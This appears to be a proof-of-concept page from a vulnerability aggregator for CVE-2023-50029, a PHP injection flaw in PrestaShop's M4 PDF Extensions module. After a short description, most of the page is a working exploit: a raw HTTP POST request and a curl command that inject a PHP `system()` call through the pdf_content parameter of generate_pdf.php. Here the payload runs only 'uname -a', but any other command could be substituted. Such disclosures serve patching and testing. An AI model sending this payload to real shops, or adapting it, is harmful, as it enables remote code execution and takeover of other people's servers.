CVE-2023-50029 PoC — PrestaShop 安全漏洞

来源

关联漏洞

Description

CVE-2023-50029: PHP Injection Vulnerability in M4 PDF Extensions Module

介绍

# PHP-Injection-in-M4-PDF-Extensions
CVE-2023-50029 is a PHP injection vulnerability in the M4 PDF Extensions module. This vulnerability allows attackers to inject and execute arbitrary PHP code on the server, enabling them to gain full control over the targeted system. The issue lies in the improper validation of inputs, allowing malicious code to be passed through user parameters.

### Poc
```
POST /generate_pdf.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

pdf_content=<?php system('uname -a'); ?>
```

### OR Curl
```
curl -X POST http://example.com/generate_pdf.php -d "pdf_content=<?php system('uname -a'); ?>"
```

文件快照

 [4.0K]  /data/pocs/073a2ac00642657b6d02792adb017d47b45670a4
└── [ 678]  README.md

0 directories, 1 file

备注